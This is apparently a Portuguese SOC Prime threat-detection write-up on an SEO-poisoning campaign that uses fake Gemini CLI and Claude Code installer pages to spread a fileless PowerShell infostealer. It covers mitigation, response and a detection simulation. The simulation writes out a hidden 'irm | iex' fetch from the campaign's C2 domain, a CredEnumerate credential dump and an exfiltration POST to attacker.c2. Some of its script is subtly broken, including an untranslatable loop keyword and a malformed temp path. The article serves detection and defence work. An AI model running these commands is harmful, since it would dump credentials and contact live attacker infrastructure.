SOC Prime Bias: Médio

25 May 2026 16:29 UTC

Campanha de Envenenamento de SEO Usa Iscas de Código Gemini e Claude para Entregar um Infostealer

Author Photo
SOC Prime Team linkedin icon Seguir
Campanha de Envenenamento de SEO Usa Iscas de Código Gemini e Claude para Entregar um Infostealer
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Atores de eCrime motivados financeiramente estão usando envenenamento de SEO para promover domínios falsos que imitam instaladores para assistentes de codificação de IA. Vítimas que copiam e colam um único comando PowerShell dessas páginas acionam um ladrão de informações sem arquivo que executa totalmente na memória. O malware rouba credenciais, cookies de sessão, chaves de VPN e arquivos sensíveis antes de exfiltrar os dados em forma criptografada para um servidor de comando e controle. A campanha tem como alvo estações de trabalho de desenvolvedores Windows e se mistura à atividade normal, abusando de ferramentas de desenvolvimento familiares.

Investigação

Analistas da EclecticIQ rastrearam a infraestrutura maliciosa até .co.com domínios que servem strings de download do PowerShell através de irm and iex. O script de primeira fase lança uma janela PowerShell oculta usando Shell.Application.ShellExecute, em seguida, carrega tipos adicionais de C# para coletar credenciais, detalhes do sistema e outros dados valiosos. A exfiltração foi observada via HTTP e HTTPS para events.msft23.com and events.ms709.com usando caminhos de URL específicos. Análise passiva de DNS vinculou a operação a um provedor de hospedagem à prova de balas nos Países Baixos e a um cluster mais amplo de domínios de erro de digitação.

Mitigação

Os defensores devem detectar e bloquear o padrão de execução irm | iex janelas PowerShell ocultas e uso suspeito de Add-Type envolvendo chamadas P/Invoke. As organizações devem impor o Modo de Linguagem Constrita do PowerShell e usar o AppLocker ou o WDAC para impedir a execução de scripts de conteúdo originado da internet. Restringir o acesso de gravação na área de transferência do navegador e impor tokens OAuth de curta duração para contas de desenvolvedores pode reduzir ainda mais a exposição. Os desenvolvedores também devem ser treinados para evitar comandos de copiar-colar de sites não confiáveis.

Resposta

As equipes de segurança devem alertar sobre processos PowerShell lançados com -WindowStyle Hidden ou invocados através de Shell.Application.ShellExecute. Esses eventos devem ser correlacionados com solicitações HTTP de saída para domínios que correspondem a *-setup.com or events.*.com, especialmente quando os caminhos /take, /processou /validate aparecem. Se esse comportamento for detectado, isole o endpoint afetado, colete logs do PowerShell e realize coleta forense de dados de navegador e armazenamentos de credenciais.

graph TB %% Definições de Classes classDef action fill:#99ccff classDef tool fill:#ffdd99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Nós – Ações initial_access[“<b>Ação</b> – <b>T1189 Compromisso por Drive-by</b>: Resultados de pesquisa SEO envenenados entregam uma página falsa de instalação do Gemini CLI / Claude Code.<br/><b>Subtécnicas</b> T1204.001 Execução pelo utilizador (link malicioso) e T1204.004 Execução pelo utilizador (PowerShell copiado e colado em linha única).”] class initial_access action execution[“<b>Ação</b> – <b>T1059.001 PowerShell</b>: Script em memória executado via Shell.Application.ShellExecute, download e execução reflexiva (irm|iex).<br/><b>Ofuscação</b> T1027 e T1027.016 código lixo.”] class execution action defense_evasion[“<b>Ação</b> – <b>T1562.001 Desativar Ferramentas de Segurança</b>: Patch a amsi.dll, desativação do ETW, verificação de sandbox para qemu-ga.<br/><b>Subtécnica</b> T1562.006 Desativar Event Tracing for Windows.”] class defense_evasion action credential_access[“<b>Ação</b> – <b>T1555.003 Credenciais de Navegadores Web</b>: Extração de credenciais e cookies do navegador.<br/><b>Técnicas adicionais</b> T1555.004 Gestor de Credenciais do Windows, T1552.001 Credenciais em ficheiros, T1552.002 Credenciais no registo, T1539 Roubo de cookies de sessão web, T1550.004 Cookie de sessão web.”] class credential_access action discovery[“<b>Ação</b> – <b>T1057 Descoberta de Processos</b>: Enumeração de processos via Restart Manager.<br/><b>Técnicas adicionais</b> T1083 Descoberta de ficheiros e diretórios, T1217 Descoberta de informação do navegador, T1497.002 Evasão de virtualização / sandbox.”] class discovery action collection[“<b>Ação</b> – <b>T1005 Dados do Sistema Local</b>: Recolha de ficheiros do utilizador (*.txt, *.docx) e diretórios sincronizados na nuvem (T1039).”] class collection action command_and_control[“<b>Ação</b> – <b>T1071.001 Protocolos Web</b>: Beacons HTTPS para endpoints events.msft23.com / events.ms709.com (/take, /process, /validate).<br/><b>Encriptação</b> lista de tarefas RSA (T1573) e transferência de payload (T1105 Ingress Tool Transfer).”] class command_and_control action exfiltration[“<b>Ação</b> – <b>T1041 Exfiltração via canal C2</b>: Exfiltração encriptada dos dados recolhidos.<br/><b>Subtécnica</b> T1020 Exfiltração automatizada.”] class exfiltration action %% Nós – Ferramentas / Malware tool_powershell[“<b>Ferramenta</b> – <b>Nome</b>: PowerShell<br/><b>Descrição</b>: Motor de scripting do Windows usado para execução em memória.”] class tool_powershell tool tool_shellexecute[“<b>Ferramenta</b> – <b>Nome</b>: Shell.Application.ShellExecute<br/><b>Descrição</b>: Inicia janelas ocultas para execução de scripts.”] class tool_shellexecute tool tool_amsi_patch[“<b>Ferramenta</b> – <b>Nome</b>: Patch AMSI<br/><b>Descrição</b>: Modifica amsi.dll para evitar análise de scripts.”] class tool_amsi_patch tool tool_etw_disable[“<b>Ferramenta</b> – <b>Nome</b>: Desativação ETW<br/><b>Descrição</b>: Desativa Event Tracing for Windows para evitar deteção.”] class tool_etw_disable tool tool_credmanager[“<b>Ferramenta</b> – <b>Nome</b>: API CredEnumerate<br/><b>Descrição</b>: Recupera credenciais do Gestor de Credenciais do Windows.”] class tool_credmanager tool tool_ssh_reg[“<b>Ferramenta</b> – <b>Nome</b>: Recolha do Registo<br/><b>Descrição</b>: Lê palavras-passe armazenadas do WinSCP e PuTTY no registo.”] class tool_ssh_reg tool tool_vpn[“<b>Ferramenta</b> – <b>Nome</b>: Recolhedor de Configuração VPN<br/><b>Descrição</b>: Recolhe ficheiros de configuração VPN para possível reutilização.”] class tool_vpn tool tool_wallet[“<b>Ferramenta</b> – <b>Nome</b>: Roubo de Carteiras Cripto<br/><b>Descrição</b>: Extrai ficheiros de carteiras e chaves privadas.”] class tool_wallet tool %% Ligações – Fluxo do ataque initial_access –>|leva a| execution execution –>|usa| tool_powershell execution –>|usa| tool_shellexecute execution –>|contém| tool_amsi_patch execution –>|contém| tool_etw_disable execution –>|leva a| defense_evasion defense_evasion –>|usa| tool_amsi_patch defense_evasion –>|usa| tool_etw_disable defense_evasion –>|leva a| credential_access credential_access –>|usa| tool_credmanager credential_access –>|usa| tool_ssh_reg credential_access –>|usa| tool_vpn credential_access –>|usa| tool_wallet credential_access –>|leva a| discovery discovery –>|leva a| collection collection –>|leva a| command_and_control command_and_control –>|usa| tool_powershell command_and_control –>|leva a| exfiltration

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação de Pré-voo de Telemetria e Linha de Base deve ter sido aprovada.

Justificação: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico errado.

  • Narrativa de Ataque e Comandos:
    Um invasor compromete uma conta de usuário com poucos privilégios e executa um comando de uma linha PowerShell via cmd.exe. O comando de uma linha usa irm (Invoke‑RestMethod) para buscar um script malicioso PowerShell de events.msft23.com, o canaliza para iex (Invoke‑Expression) para executar a carga útil completamente na memória e oculta a janela do PowerShell para evitar espionagem por sobre o ombro. A carga útil subsequente carrega um tipo .NET com Add‑Type para realizar a enumeração de credenciais usando o API CredEnumerate, exfiltra os dados coletados via HTTPS. Todas as etapas são executadas sem gravar arquivos no disco, correspondendo à descrição “sem arquivo”. API, exfiltrates the harvested data over HTTPS. All steps are executed without writing files to disk, matching the “file‑less” description.

    # Passo 1 – Lançamento oculto do PowerShell
    powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"

    O payload.ps1 baixado (executado na memória) contém:

    # Passo 2 – Carregar tipo .NET para enumeração de credenciais
    $type = @"
    using System;
    using System.Runtime.InteropServices;
    public class Cred {
        [DllImport(""advapi32.dll"", SetLastError=true)]
        public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
    }
    "@
    Add-Type $type
    
    # Passo 3 – Invocar dump de credenciais e exfiltrar
    $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
    $data = "Coletado $count credenciais"
    Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $data

    Essa sequência gera os fragmentos de linha de comando que a regra Sigma corresponde:

    • powershell.exe -WindowStyle Hidden
    • irm events.msft23.com | iex
    • Add-Type
    • advapi32.dll!CredEnumerate
  • Script de Teste de Regressão: O script a seguir reproduz o comportamento exato em uma estação de trabalho de teste. Execute-o a partir de um prompt elevado do PowerShell.

    # Simulação de Ladrão de Informações PowerShell Sem Arquivo – TC-20260525-A7Z3K
    # ------------------------------------------------------------
    # Passo 1 – Executar PowerShell oculto que baixa e executa carga útil
    $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"'
    Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden
    
    # Conteúdo simulado do payload.ps1 (hospedado localmente para testes seguros)
    $payload = @'
    $type = @"
    using System;
    using System.Runtime.InteropServices;
    public class Cred {
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
    }
    "@
    Add-Type $type
    
    $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
    $data = "Coletado $count credenciais"
    # Simular exfiltração para um endpoint inofensivo
    Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data
    '@
    
    # Escrever carga útil simulada para localização temporária para o teste (simulando hospedagem remota)
    $tempPath = "$env:TEMPpayload.ps1"
    Set-Content -Path $tempPath -Value $payload -Encoding UTF8
    
    # Servir a carga útil via um simples ouvinte HTTP local (para demonstração)
    $listener = [System.Net.HttpListener]::new()
    $listener.Prefixes.Add("http://+:8080/")
    $listener.Start()
    Write-Host "Servindo carga útil simulada em http://localhost:8080/payload.ps1"
    enquanto ($listener.IsListening) {
        $context = $listener.GetContext()
        if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") {
            $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
            $context.Response.ContentLength64 = $bytes.Length
            $context.Response.OutputStream.Write($bytes,0,$bytes.Length)
            $context.Response.Close()
        }
    }
    # Nota: Pare o escutador manualmente após a validação.
  • Comandos de Limpeza: Remova os arquivos temporários e pare o escutador HTTP.

    # Limpeza após a simulação
    Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
    # Pare o escutador HTTP local (se ainda estiver em execução)
    Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force